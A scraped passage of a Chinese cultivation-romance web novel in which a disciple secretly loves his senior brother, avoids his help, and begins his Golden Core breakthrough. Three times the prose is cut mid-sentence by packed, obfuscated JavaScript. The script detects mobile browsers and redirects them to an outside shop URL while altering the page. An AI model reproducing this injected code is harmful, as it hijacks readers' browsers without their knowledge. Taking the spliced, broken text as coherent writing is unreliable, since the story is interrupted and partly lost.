陆拾夕脸色惨白的站在人群之后。 第三个画面,掌门大殿内。 不少人对着卫澜朔道喜。 “天哪,真的是人称第一美人的月窈仙子吗?” “是的,听说是皓月宗掌门主动跟咱们掌门提的,想要月窈仙子嫁给大师兄,结两宗之好。” “这么说,咱们大师兄有未婚妻了?” “果然只有这样的仙子才配得上大师兄啊!若换成其他人,我一百个不同意。” 陆拾夕站在阴影里面,已然无声无息。 * 没错,要瞒着,隐瞒到死。 明明做好了决定,不抱有任何期待,该对一切泰然处之,可窸窸窣窣的疼痛感,还是时不时得满溢出来,让他意识到伤口依旧在不断的撕裂愈合,永不止息。 混沌的黑雾如同浓稠的汁液淹没了陆拾夕的口鼻。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471602|201511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他该生出一些邪恶的心思,利用自己嫡亲小师弟的身份可以做很多事情,可那些念头刚刚冒头,就被极致的克制压了下去。 也许,就这样淹没下去,就轻松了。 突然一道光骤然出现在这令人窒息黑暗的世界中,刺醒了陆拾夕。 “小师弟!” 陆拾夕猛然惊醒,只感觉后背源源不断传来灵力。 觉察到陆拾夕心境稳住,坐在身后的卫澜朔收了灵力,手臂自然半搂着陆拾夕清瘦的身体,让他依靠着自己。 原来刚刚卫澜朔赶来,就看到被淡淡黑气萦绕的陆拾夕,虽然等他自己熬过去也可以,毕竟只是一般的心境波动,可卫澜朔看了一会儿却觉察不对,怎么小师弟像是放弃抵抗一般,这可不妙。 所以立马冲了过去,将人抱出了寒潭瀑布,来到草地上,输入灵力助他清醒。 “小师弟,你怎么回事?心境出问题了吗?”卫澜朔低头关心陆拾夕。 发丝垂落到陆拾夕的脸庞,撩过他的长睫。 睫毛猛然颤动了一下。 下一秒,陆拾夕就跟被烫到一般,飞速弹开,一下子就站在离卫澜朔五米远的地方。 卫澜朔手臂还维持着搂人的姿态呢,很无语,没好气道:“我又不会害你,你躲什么?” 结果一抬头,就看到陆拾夕脸色煞白,慌张无措的站在那边,像是一个做错事的孩子。 卫澜朔哑然了,起身道:“是不是吓到了?之前没遭遇过心境不稳的情况吗?” 卫澜朔脑海中飞速闪过很多念头,是剑意传承没有炼化好,还是因为修为松动,快进阶金丹,所以心境影响较大?或者两者皆有混合作用? 反正总不会因为他之前跟小师弟那点小小不愉快吧。 此刻的陆拾夕脑海一片混乱,噩梦在心境中攻击他也就算了,怎么现实中,还有这样的考验,大师兄不是走了吗?怎么又回来了? 自暗恋卫澜朔以来,他可从未跟卫澜朔有过今晚这般亲近的肢体接触。 虽然在旁人看来,不过是帮助虚弱之人,平平无奇,可对陆拾夕而言,无疑是太超过了。 本就湿透的衣服,刚刚靠着的部分还残留着卫澜朔的体温。越是在意,越是感觉有热度自那边蔓延开,有野火燎原之势。 若不是长发披散,遮住了耳朵,此刻,红透的耳畔,怕是早就将他的心事泄露个干干净净。 不行,他不能再面对卫澜朔,他得走。 “不,不是,给大师兄添麻烦了,师弟先告退了。”陆拾夕顶着心绪紊乱,胡乱施法弄好自己的衣服,就要离开。 卫澜朔微微皱眉,也不知道该如何是好,只能道:“那你回去好好休息,若是有关剑意感悟,或者进阶金丹的疑问可以找我商谈,我记得我们修炼的功法是一样的,我的经验对你有用。” 陆拾夕乱七八糟的点头,算是应答了,赶紧御剑逃离。 但在卫澜朔看来,真的有敷衍之嫌,只能无奈喊道:“有捷进不走,是小笨蛋,别当小笨蛋啊,记得有问题来找大师兄,大师兄都能帮你解决。唉~” 看着头也不回的背影,卫澜朔啧了一声。 一边往外走,一边不由的回忆起刚刚的情况。 说起来,小师弟好清瘦啊,抱起来一点重量都没有。 卫澜朔抬了抬手臂,刚刚扶小师弟的时候,他手臂一捞,感觉那腰,简直太细了。 恍惚还记得,他湿着身子站在那边的样子,薄薄一片,身上似乎真没几两肉,往那边一站,怕是月光都能将他穿透。 是修炼的太辛苦,没好好补补? 回头小师弟来向他请教的时候,一定好好说说他。 没错,这一次卫澜朔还是很自信的,觉得自己提点的那么清楚,陆拾夕一定会来找他请教。 除非陆拾夕真的是小笨蛋,死活要绕弯路。 如果真的想要超越他,就该好好的利用他嘛,这才是聪明人的做法。 嘿嘿,到时候,他要发挥他超有爱的耐心教学,就不信不能跟小师弟缓和关系。 十天后。 卫澜朔望眼欲穿也没有等到陆拾夕送上门,只听说陆拾夕已经求教了好几个自己悟出剑意的长老。 卫澜朔:! 4. 第 4 章 新炼化的剑意碰上即将进阶而不稳定的心境,稍微加上一点情绪上的诱因,就造成了那次意外。 而进阶金丹时会第一次出现心魔试炼。 陆拾夕有些担心这方面会出问题。 所以必须提前把不利因素都解决掉。 陆拾夕自然不会去找卫澜朔帮忙,‘喜欢’这种情感很危险,会把人变得不像自己。 陆拾夕怕这种事情一旦开了头,日后就分辨不出,自己到底是找借口亲近卫澜朔还是真的有事需要帮助,他可能会连自己都骗,所以宁可绕弯路,也不能放松。 幸好,门内有几个长老靠着自己修炼悟出剑意的,陆拾夕就去一一拜见。 宗门的长辈倒是不吝啬指导,毕竟年纪轻轻能获得剑意,可谓天之骄子,他们愿意薪火相传。 再加上这个小弟子虚心请教,领悟力也极高。对于聪明听话,不是那种有点天赋就傲得找不到北的小孩,他们教导起来还是很有成就感的。 只是他们还是会问出差不多的问题,虽然他们目的不同。 “你大师兄跟你炼化的剑意同宗同源,为何舍近求远,不去问他?” 有些听说过陆拾夕讨厌自家大师兄的事情,想要借机敲打,有些纯粹没听过,好奇询问。 陆拾夕不擅说谎,只能干巴巴道:“大师兄有事情要忙。”毕竟卫澜朔最近也要进阶,还要找银雷天叶,的确不算空闲,勉强也说得过去。 长老们:所有我们很闲? 领悟剑意这事儿虽然绕了一圈,但有长老们的帮助,倒也算解决了麻烦。 接下来就该准备进阶金丹期了,一般情况下,师兄们都会给初次体验心魔试炼的师弟们做经验指导。 而这一会儿,大师兄不能找,二师兄还在外面,只能去找三师兄。 三师兄向来热情话多,本来想着请教一番应该不难,结果这次,陆拾夕竟然连院门都没进去。 隔着院门的结界,苏辞的声音从主屋门后传来。 “小师弟啊,不好意思,不是我不帮忙,我前两天练功出了岔子,现在必须要静修,实在无法分心,你可以去找大师兄,他最近闲得都要长毛了。” 屋里,苏辞一边扯着嗓子喊,一边斜眼看着在窗边偷看的大师兄。 卫澜朔只能看到院外的陆拾夕低垂着头,赶紧扫了苏辞一眼,示意他再多说两句。 苏辞只能配合道:“你赶紧去找他吧,我和二师兄都是他指导的,他可喜欢指导人了。而且你们当初选择的基础功法是一样的,他指导你那是事半功倍的效果。” 很快,院外传来陆拾夕平静的声音:“打扰了,三师兄。安康。” 看着陆拾夕转身走开,卫澜朔才坐了回去,却没看到陆拾夕之后直接御剑离开了。 苏辞好笑的给卫澜朔倒了一杯茶,推过去,“大师兄你这又是何必呢?没听说还有人上赶着求别人来求教自己的。” “我不是求,我只是给他一个理由,谁让我们小师弟脸皮薄,肯定是拉不下面子,迈不出第一步,等这一步迈出来就好了。” 苏辞竖起大拇指:“行,都会自我安慰了,我可是听说关于剑意……” 卫澜朔一个眼神看过来。 苏辞憋不住笑了。这世间怕是只有小师弟能让大师兄脸上常常出现如此憋屈的神情了,有的时候真是佩服小师弟,能把向来游刃有余的大师兄憋成这样,还真是一物降一物。 “说真的,我觉得这一招也没用。” 卫澜朔皱了皱眉,修长的食指在茶杯的边缘游走。 “我们修习的功法入门很难,整个宗门选这功法的人很少。心魔试炼的经验指导,并不是剑意感悟那种稀有情况,所以他也不会再去麻烦其他长老们。他只能找师兄师姐求教经验,可小师弟几乎不怎么跟外峰的弟子往来……他只能选我。” 正分析得越来越有底气呢,腰间悬挂的玄霄宗弟子玉牌有了反应。 有人在用术法给他传话。 玉牌飘起来,单手掐诀。承道峰,掌门的亲传弟子‘何举’的名字在上面浮现。 很快何举带着犹豫和疑问的声音传来。 “大师兄,你们峰的陆师弟来找我请教进阶金丹的事情了。” 苏辞虽然觉得陆拾夕不会轻易放弃,但这一刻他也愕然的瞪大双眼,这才多久过去,也就是说,他提议之后,陆拾夕是没有丝毫犹豫挣扎,转头就去找何举了,完全避开了大师兄这个选项啊。 这也太果决了吧。 随即屋内传来咔嚓一声,只见自己的茶杯被卫澜朔手指失控溢出来的一道电流击碎。 再看卫澜朔,原本俊美的脸已经彻底僵住了。 “唉,不高兴也不能拿我的茶具发火,待会得赔我。”苏辞小声碎碎念。 卫澜朔没搭理苏辞,直接对着玉牌开口,“你答应了?” 何举那边明显愣了一下,大概是甚少听到卫澜朔明显不悦的声线。 “还没,我正要去见他。” 何举刚刚在入定,结束后就有师弟来找他说明了情况,他正要出去。 何举是个老实憨直的性子,哪怕是掌门亲传,也从不倨傲,尤其崇拜大师兄,在整个宗门事务方面,算是卫澜朔的副手。 这一会儿告知情况,也不是想要为难‘讨厌’大师兄的陆师弟,只是觉得他们峰的事情,该告知一声大师兄才对。 何举对天之骄子向来都有好感,也觉得天骄性格不好本身就不奇怪,像大师兄这种有亲和力好相处的才少见。 突然‘好相处’的大师兄回了一句:“找个理由,拒绝他。” 何举:???? “我想亲自指导他,何师弟麻烦你了,就当帮我和小师弟缓和关系吧。” 何举立马心领神会,果然,这才是大师兄会做的事情嘛。 他自然乐意帮忙撮合。 不一会儿,等候着的陆拾夕没有见到何举,还是之前帮忙传话的师弟来回话。 那师弟一脸不待见的样子看着陆拾夕,道:“师兄那边正是修炼的关键时期,抽不出空传授你经验,你找别人吧。” 陆拾夕愣了一下,没想到最有希望的对象也刚好没空,只能离开。 接下来,陆拾夕又陆陆续续找了几个跟他修同样功法的金丹期师兄师姐。 但无一例外都拒绝了,理由五花八门。 陆拾夕也明白过来,看来自己的人缘真的很差,不过倒也合情合理,若是有人对卫澜朔态度不好,他也绝对不会给那种人好脸色。 无功而返,陆拾夕只能再想办法。 远远看着小师弟御剑回来。 苏辞摸着下巴,感叹道:“你这是要封死小师弟的所有退路,只给他留一条通向你的路啊?” “不行吗?”卫澜朔没好气的扯了扯嘴角,刚刚收完其他峰的最后回复,果然小师弟把能找的都找了一个遍。 气得他都想要笑了。 苏辞看着卫澜朔精彩纷呈的表情,挑眉道:“万一他就是不来找你呢?” 卫澜朔张了张嘴,似乎都不知道该说啥了。 苏辞回忆了一下,“说起来,我还真没法想象你们单独相处,坐在一起平和说话的样子。” 卫澜朔皱眉,“什么意思?” 苏辞道:“印象中还真没有这样的画面,我只记得,以前师父给我们集体讲课的时候。他才会老老实实跟你共处一室。” 卫澜朔也回忆了一下,似乎任何可能导致两人单独相处的情况,小师弟都是在极力避开的。 比如上次寒潭瀑布。 想到这里,卫澜朔突然喃喃道:“也许人多会好一点。” 既然直接单独相处难度大,那他就想办法降低难度好了。 次日,陆拾夕准备御剑前去书楼找办法。 刚要动身,弟子玉牌就传来讯息。 那是一则宗门的通知。 看到的瞬间,陆拾夕眼神变了变。 通知上说,因为最近刚好有一些弟子都要进阶金丹期,掌门就下令,让大师兄卫澜朔在漱云峰给要进阶金丹期的弟子集体传授初次通过心魔试炼的经验。 虽然大家的功法不同,但卫澜朔是唯一一个毫无障碍,用时最短,通过心魔试炼的,他的经验自然是能获取就获取。 不知道卫澜朔的动向还好,一旦知道,陆拾夕总是会克制不住前去偷看一眼。 等他飞去漱云峰的时候,已经有一群别的峰的师兄们在场。 陆拾夕自然没有踏入院子,而是隔着院落围墙上的花窗空隙,瞧向里面。 一眼,陆拾夕就看到被师兄们簇拥的卫澜朔。 大家热切的提问着,卫澜朔一一回复,言简意赅,条理清晰,碰到不通透的师弟,也会耐心拆解。 光是听着别人的一问一答,陆拾夕仿佛都能顿悟一些内容,若是被亲自指导…… 陆拾夕凝视着里面卫澜朔耐心温柔的眉眼,心口闷了闷,抿了抿有些干涸的唇,搭在花窗上的手下渐渐蔓延出薄薄一层霜花。 突然,一个师兄询问若是陷入心魔时,灵力如何运转的问题。 卫澜朔一边讲解,一边伸手覆在那人的丹田处,帮忙引导体内灵力,助其体会。 而那名弟子像是得了宝贝一般,激动的脸都红了。 其他人都羡慕极了,能被崇拜的大师兄上手示范的机会,谁都不想错过,于是纷纷上前,请求大师兄帮忙。 只是那一个个每次被大师兄引导的时候,总感觉背后凉飕飕的。 其实卫澜朔蹲在这里守株待兔时,灵识就一直外放,想要时刻捕捉陆拾夕的动静。 陆拾夕来到时候,卫澜朔嘴角就忍不住上扬了,觉察到陆拾夕一直待在外面,想着应该是在做心理建设,卫澜朔就更加卖力展现自己的指导优势,想着这一把一定可以拿下了。 结果没一会儿,陆拾夕就走了。 卫澜朔都蒙了,这是宁愿偷看偷学,都不愿意主动来他跟前求教? 而院墙外面的花窗旁,陆拾夕曾经待过的地方,霜花变成了密集锋利的冰锥。 陆拾夕是忍不下去,逃离的。 虽然知道那只是普通师兄弟的相处,但看着卫澜朔与其他人如此亲近,他真的,真的,很羡慕,很嫉妒。 那种从心口蔓延出来的酸,像是带着腐蚀性,让他很疼,很想呐喊出声。 可陆拾夕什么都没资格做,只能在没人的地方,慢慢消化掉情绪。 然而,第二天,陆拾夕仍旧会去那边瞧一瞧,并不是他好了伤疤忘了疼,而是他能这样看着卫澜朔的机会其实并不多。 因为要藏着,要小心,这样偷偷看着人,而不被发现是很少的机遇,所以哪怕知道要经历重复的折磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471603|201511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还是会珍惜每次机会。 但这可把卫澜朔郁闷坏了。 之前卫澜朔并没有因为一次失败就放弃,他觉得小师弟还需要时间权衡利弊,他可以当一个耐心的钓鱼者。 所以在指导其他师弟的时候,卫澜朔感应到陆拾夕来了,就越发亲和,耐心,几乎是手把手教导其他人。 卫澜朔想要让陆拾夕明白,只要他愿意迈出这一步,就可以从自己这边获得很多有用的东西,他绝对会倾囊相授,绝不藏私。 可万万没想到,陆拾夕是一次比一次走得快。 卫澜朔:为什么?!这究竟是为什么啊!!!! 几日后,指导结束,陆拾夕从头到尾都没有去卫澜朔的跟前。 望岳峰,何举居所。 陆拾夕抱着最后一次尝试的希望,再次踏入何举的院子。 他没法察觉,高空之上,卫澜朔和苏辞正站在仙鹤身上,看着他的一举一动。 很快,卫澜朔的弟子玉牌传来何举的消息。 “陆师弟又来找我了,瞧着有点可怜,大师兄,还要继续拒绝吗?” 卫澜朔真的有些心寒了。 苏辞无奈摇头:“哪怕找其他峰不熟的师兄,也不找近在咫尺的大师兄。大师兄,到此为止,咱们峰的小师弟总不能找外人帮个忙都弄得这么卑微吧,再继续下去,就是欺负人了。” 卫澜朔忍不住道:“是我在欺负他吗?是他在欺负我!” 苏辞挑眉,难得一次安静聆听大师兄破防的瞬间。 别看大师兄对外七平八稳端的一副长兄姿态。其实对内……还是有些任性的。 但任性碰上顽固,怕是也不行了。 的确,不需要苏辞再说什么,卫澜朔已经彻底无力了。 动心思全方面封锁都没用,小师弟他就是死犟。 他实在拿这人没办法,算了,他认输,随便吧。 卫澜朔有些赌气,更多的是失望。 何举那边还在等消息,很快传来卫澜朔的回信。 “你指导吧,用心指导,你之前想要的法器,回头我给你弄来,辛苦你帮我们小师弟了……还有找个理由,让他补补身体,他太瘦了。” 这一次,陆拾夕终于见到了何举,而何举也热心的传授了进阶经验整整三天。 最后一天,何举还拿出一本手册。 “这个给你。” 陆拾夕疑惑的接过,翻开一看,顿时感觉烫手,整个人微微一僵,“大……大师兄写的手册?给我做什么?” 何举惊讶了,一时间不知道说什么,突然耳朵微微一动,立马道:“哦,你也知道咱们修的是同一个功法,前些年我进阶金丹的时候,就去请教大师兄,大师兄当时没空指导我,就给了我这个,这是他以前进阶时留下的感悟手札,我昨天找出来的,想着若是你之后还有什么疑问,或者我有什么遗漏,你看看这些也能补充补充。” 陆拾夕松了口气,“是……借给我用?” “额,没错,借给你,也不着急还,对了,里面还有大师兄写的试剑石那里的剑意感悟。额……毕竟是他随手记得笔记,啥都有,你随便看看。”何举继续道。 陆拾夕陷在意外获得卫澜朔‘私人物品’的惊喜中,虽然要还,但能拥有一段时间就很令人满足了,丝毫没注意何举的异常,毕竟在陆拾夕眼中,老实巴交的何师兄也不像是会编瞎话的人。 “那就多谢何师兄了。”陆拾夕心中欢喜,表情还是露出了一些。 何举是真的有点看不懂了,不排斥大师兄的东西,只排斥大师兄这个人是吗? 忍不住道:“应该谢谢大师兄才对,陆师弟,你明明可以直接找大师兄的,大师兄肯定也很乐意帮你,为何来我这边绕圈子啊?” 陆拾夕对着手册爱不释手的姿态瞬间冻住,一时间不知道该说什么。 “真的那么不待见大师兄吗?”何举有些替大师兄叫屈。 陆拾夕却只是面无表情的沉默着。 何举也不好为难陆拾夕,只能摆手道:“算了,我随便问问,没事了。” 陆拾夕颔首,留下一瓶上品丹药当谢礼,拱手告辞,未发一言。 何举叹了一口气,拿着谢礼绕道后面的房间。 看着同样沉默喝茶的卫澜朔。 表情没什么变化,但何举本能的感觉大师兄周身冷了好几度。 何举怪自己多嘴,尴尬笑道:“刚刚吓死我了,我都没想到他竟然一眼认出你的笔迹,我编的理由都没有用上,幸好大师兄你在,给我传音,要不然还真叫我演砸了。” 卫澜朔点点头,准备起身离开,这时何举将丹药献上,本来已经拿了大师兄给的丰厚谢礼了,不好再要陆师弟的。 卫澜朔:“留着吧,他那样避着我,大概也不想自己的东西传到我手上。” 何举:大师兄好像在赌气,大师兄竟然还会跟人赌气? “好……好吧,那个,大师兄听说你又要出门了?去找银雷天叶?”何举问道。 卫澜朔点点头道:“又有消息传来,我再跑一趟,宗门事务,你多留心……尤其最近要进阶金丹期的那几个弟子。” 何举有点想笑,还是放心不下陆师弟嘛。“放心,我会看着的。” 次日,卫澜朔离开宗门。 而陆拾夕也开始静心等待突破时机的到来。 5. 第 5 章 一个月后。陆拾夕有预感,要开始进阶了。 为了照顾弟子,玄霄宗会提供漱云峰的聚灵台给弟子们进阶使用,那里有宗门传承的防护阵法,可以确保进阶中的弟子不会受到外界影响,哪怕大能在头顶干架,也不会波及里面。 陆拾夕已经提前申请使用时段,过一会儿就要出发。 陆拾夕坐在书案前,不舍的摸了摸手册。 这一个月,陆拾夕小心翼翼翻看了无数遍,最后甚至连纸张哪里多了一点墨汁都能记得一清二楚。 对他而言,欣赏价值完全大于实用价值。但也不得不说,不论是剑意感悟,还是金丹进阶,他通过手册中细心的讲述,仿佛身临其境被卫澜朔细心教导,收获良多。 虽然这份心细的总结不是给他的,但他还是心动不已。 又克制不住,多喜欢卫澜朔一分。 陆拾夕苦哈哈的摸了又摸,眼神闪动,看向手册的旁边。 那边还放置了一本,几乎一模一样的手册。 那是陆拾夕一比一复刻的,毕竟他早就模仿过卫澜朔的字,几乎可以说是以假乱真的程度,当然,他向来小心,为了防止露馅,他直接是用左手练的。 陆拾夕站起身,该走了,他在两本手册上犹豫了一下,最终将原品放入怀中。 然后拿起复刻的那本,来到床边。 他的床上放置着一个契约储物箱,只有本人能打开的那种。 他翻开箱子,里面都是一些零零碎碎的杂物,但都摆放的很整齐,干净,显然经常整理。 若是卫澜朔看到,大概有些有印象,有些完全没印象。 复刻的那本,被陆拾夕放在其中,再封印好储物箱,这才离开小院。 他不是没有动过把复刻品顶替还回去的想法,但最终还是算了。 他虽然忍不住收集跟卫澜朔有关的东西,但都属于‘弃物’。 不被他捡走,也是会被清理掉的东西。 而这一本手册不算,若是偷偷调换扣留,日后,他肯定什么都敢偷换了。所以这个界限不能打破。 他不想做一个恶心人的暗恋者,有些原则必须要坚守。 不久,陆拾夕御剑来到了漱云峰。 这几日,何举师兄就守在了聚灵台,一来是最近频繁有弟子进阶,他来这里帮忙看着,二来,也有大师兄叮嘱的原因。 看到陆拾夕来了,何举主动热情的打招呼。 陆拾夕虽然不热切,但该有的礼数是一点不缺。 何举跟他相处过,自然知道他就是这样的性子,在他看来,这个栖真峰的小师弟就是有点内敛慢热。 但这里还有其他弟子在,在他们看来,陆拾夕这样就显得冷酷傲慢了。 “陆师弟,你需要稍微等一会儿。”何举来到陆拾夕跟前,指了指远处巨大的玉台之上。 流光形成的结界中,有一名弟子正在其中进阶。 一般预约的时间都是进阶所耗时间最长的估值,超过了话,情况就不妙。 而上面的那名弟子,脸色明显十分难看,甚至周身开始萦绕黑气。 而在结界之外,有一名长老,正在凝神守着。 李长老,算是漱云峰的管事长老之一,主要就负责聚灵台这一块。 “爷爷,他是不是失败了?”李长老旁边本不该站着人的,但奈何凑上来说话的是他唯一的小孙子,李金龙。 李长老只能严肃道:“下去,别在这里打扰我。” 李金龙年少骄纵,忍不住哼了一声,但还是乖乖退下,只是顺手从李长老腰间拿走了储物袋。 李金龙常常会拿着他储物袋里面的法器玩,所以李长老也没有管他。 很快,周围灵气一阵波动,只见里面的弟子吐了一口血,晕倒在地,阵法解开,李长老迅速的冲了进去,为进阶失败的弟子稳住情况。 大概身体状态不好,李长老立马要带着弟子离开,临走前叮嘱何举看着点。 围观的弟子们一阵议论纷纷,炼气进阶到筑基期其实并不难,除非是四灵根或者更差的条件,才会筑基失败。 修真之路,真正的第一道大天堑就是筑基进阶金丹期,有大宗门兜底的前提,哪怕已经到达了筑基大圆满,成功率也只能维持在十分之二。 很多人要冲击好几次,才能成功,但每多磨炼一次,就证明未来修为提升的潜力也就矮了别人一分。 天才都是一次成功,以用时最短为最优。 之前因为卫澜朔帮忙指导,这段时期通过的人数有提升,但也还是有失败的。 何举拍了拍陆拾夕的肩膀道:“别多想,你除了第一次经历心魔试炼可能没经验以外,进阶不成问题,说不定还能打破大师兄的记录哦。” 陆拾夕倒不会因为别人失败,自己就有压力,他正要归还手册,就听到一道不和谐的声音传来。 “何师兄,你在说什么梦话呢?打破大师兄的记录,就凭他也配?你什么时候站到他那边帮他说话了。”李金龙从人群后面走了出来,满脸不爽的看着何举,顺便给了陆拾夕一个不屑的眼神。 见陆拾夕都懒得看他一眼,更加气不过了。 要说玄霄宗中最讨厌陆拾夕的人是谁,那李金龙绝对敢称第一。 何举担心两人冲突,赶紧拦在陆拾夕跟前,好脾气的笑着道:“大家都是师兄弟,鼓励一下,并没有对大师兄不敬的意思。” 何举很想说,其实按照他之前的经历来猜测,如果陆拾夕真的破了大师兄的记录,那大师兄绝对是最开心的那个。 毕竟大师兄为了帮陆拾夕顺利进阶,可是费了好一番功夫啊。 李金龙身为卫澜朔的狂热粉,最讨厌有人倒向陆拾夕,毕竟在他眼中,陆拾夕就是一个喜欢捆绑拉踩大师兄的小人。 李金龙避开何举,围着陆拾夕绕了一圈,眼神不善,然后抬起手指,指着陆拾夕。 “陆拾夕,打个赌吧,若你这次进阶失败,就自请除去静渊长老亲传弟子的身份,怎么样?毕竟剑尊的弟子又怎么能被小小的金丹期拦下呢?” 此话一出,周围不断传来兴奋的惊呼声。 陆拾夕终于看向李金龙,只是那眼神仿佛在问:你有病? 李金龙被他的眼神刺激了,立马道:“静渊长老三个弟子都是一次进阶成功的?没人失败过,如果你做不到,又有什么资格当静渊长老的亲传弟子!” 何举无奈的扶额,“李师弟,别闹了,什么自请除名?你哪里整来的词儿?拜师之后,若是不认,那叫叛出师门,倒反天罡。而且陆师弟怎么可能进阶失败,他是变异冰灵根啊。” 进阶成功几率小,但对天才可不设限。 何举说着就给了陆拾夕一个眼神,让他上去聚灵台。 陆拾夕顺手把手册还了,也懒得搭理发癫的李金龙。 李金龙被说的气红了脸,赶紧狡辩道:“所以我才说,如果这样他都不行,那除名也不是什么多荒谬的要求!”见陆拾夕走了,快步追上,想要抬手拉住陆拾夕,“那只能证明剑尊的亲传弟子,大师兄的嫡亲师弟,你都不配。” 唰的一声,寒光一闪。 观星凭空而出,劈向李金龙伸过来的手。 李金龙立马一个后空翻,狼狈躲过。 “你!” 幽蓝的观星剑悬空,寒气凌然,直指李金龙,而剑后,陆拾夕停住脚步,侧头露出半张脸,居高临下扫了一眼。 虽身形单薄,却凌然而立,鸦青长睫纤长浓密,扫下时在眼下投出浅淡的阴影,刚好遮住眼睑下的小痣,像是遮住了唯一的平和。 眸里翻涌着冷光,像是把整片千年寒冰都揉了进去。 “我不配?你配?” 陆拾夕说完,收回目光,懒得多言,转头,继续往聚灵台上走,观星剑自然收敛,消失在空中。 周围静悄悄,大家都不敢说话,总感觉刚刚陆拾夕的话还有一句没说。 ‘我不配?你配?手下败将!’ 何举看向刚刚被陆拾夕的气势震慑住的李金龙,想着这位心比天高的李师弟大概也觉得还有那句‘手下败将’吧。 其实大家心里都清楚,李金龙这么针对陆拾夕,是因为陆拾夕是那个让李金龙梦想破灭的人。 身为单灵根的,有天赋,还是长老孙子的李金龙,也能称得上小天骄了,他也慕强,一直都是以‘剑尊的亲传弟子,大师兄的嫡亲师弟’的身份为奋斗目标。 李长老因此找过静渊长老好几次,但像静渊长老这种剑尊,脾气都很与众不同,不是人情世故可以说动,收不收徒完全看心情。 但只要静渊长老没说从此不收徒弟,那李金龙就还有机会,继续等待。 然而那些年,有一个三灵根的小弟子,一路从外门升到了内门,最后参加宗门大比,过关斩将,气势如虹,令人大开眼界。 也是那时候,静渊长老正好出关,看到大比快决赛了,就给了掌门一个承诺,筑基期大比第一名可以成为他的亲传弟子。 那一下,整个宗门都轰动了,原本大比只是比一个阶段性的高低之分,前十名获得进入剑冢挑选专属灵剑的资格。对于有些家底丰厚的弟子而言,也不是那么重要。 而有了剑尊弟子的身份为奖励,那基本可以称得上是人生最重要的一搏了。 李金龙更是使出了浑身解数,哪怕过量吞服丹药,强行使用爷爷的法器,都要拿下魁首。 可偏偏,他遇到了一个更加不要命的人。 最后,他这个小天骄被一个野路子三灵根打败了。 李金龙不服到了极点,闹到最后,掌门都有些动摇了,毕竟静渊长老什么时候收徒弟真的完全没有规律,万一这是最后一个怎么办? 前面三个,不是变异灵根,就是单灵根,选一个三灵根当徒弟,实在有些不妥。 毕竟三灵根能做到的极限,大概也只有在筑基期拼着努力和毅力压得住更有天赋的人。 一旦过了筑基期,天赋差距就是无法改变的。 掌门很苦恼,总觉得不能浪费剑尊徒弟这个身份,也怪他们当初没想到一个三灵根能打败那么多双灵根和单灵根。可现在让他们食言,大宗门还真是做不出。 掌门想了想,打算还是跟陆拾夕晓之以理动之以情,看用其他条件交换一下行不行。实在不行,也只能放弃。 而这时宗门先安排了前十名的弟子去剑冢选剑。 万万没想到,其中稀有的拥有剑灵的灵剑之一观星竟然主动认主,选了陆拾夕。 而在认主的瞬间,一道封印自陆拾夕体内破除。 纯净的冰系灵力骤然爆发。 原来陆拾夕竟然是变异冰灵根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471604|201511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是之前被人封印,伪装成了三灵根。 当然,这在修真界并不是多稀奇的事情,很多年前魔道横行过一段时间,有邪魔外道专门搜罗极品灵根的孩子练术法,想必陆拾夕一出生,家里人知道护不住他,就想了这个办法。 只是肯定是出了变故,才让陆拾夕五岁时被卫澜朔捡了回来。 没人会去专门检查陆拾夕的灵根是不是有问题,只有最初入门的时候会用测灵石测一下而已,所以一直无人发现。陆拾夕不知道自己的情况,也一直以为自己就是三灵根,自然也不会寻求帮助。 但现在可以确定他是货真价实的冰灵根,真正的天之骄子。 这自然成了无人质疑的底牌,让他顺利拜师。 这么一搞,李金龙的梦想自然就彻底破灭,再加上之后在众人眼中,陆拾夕根本不珍惜‘大师兄的小师弟’这个身份,还处处表现的对大师兄十分厌恶,李金龙自然就更受刺激了。 大家都清楚这么一段往事,这一会儿也不好意思一直盯着李金龙看,只能去看陆拾夕的情况。 此时陆拾夕已经入定,周围阵法运转,灵气开始不断地涌向陆拾夕,汇聚,压缩,进入丹田,动静之大,让人不得不感叹一声这才是真正的天骄。 可看着看着,时间一点点过去,众人的脸色微微变化,怎么要这么久?这样的天赋不该很快成功吗? 何举走到阵法旁边,看着里面陆拾夕脸色有异,显然是被心魔缠住了。 但周围并无汇聚黑气,就证明陆拾夕心境是稳的,没有走火入魔之嫌,只是被拖住了而已。 刚刚狠狠丢脸的李金龙,本来是站在角落生闷气的,但这一会儿见此场景,立马就来劲儿了。 可仔细一看陆拾夕没走火入魔,出来只是时间问题,又有些遗憾。 突然,他有些好奇,这个陆拾夕这么不合群,还处处跟最好的大师兄不对付,到底会有什么心魔,拖了他这么长时间? 